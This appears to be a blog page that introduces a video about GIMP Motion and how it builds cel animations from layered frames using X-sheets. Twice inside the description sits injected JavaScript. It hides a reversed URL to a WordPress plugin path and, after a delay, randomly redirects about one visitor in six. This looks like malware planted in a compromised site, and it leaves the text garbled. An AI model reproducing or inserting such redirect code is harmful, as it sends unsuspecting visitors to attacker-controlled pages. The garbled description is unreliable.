GIMP Motion: part 2 – Complex animations

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Describing the work in progress on GIMP Motion. In this second video, I show how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to create animations using several layers per frames. We call these “cel animations”, as a skeuomorphism of older days traditional animations. It uses a X-sheets which are more or less a vertical timeline, also a typical toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tool in traditional animations.

GIMP Motion: part 1 – Basic animations:

All the code can be found here:
ZeMarmot project website:
Patreon funding:
Tipeee funding:

Youtube Channel

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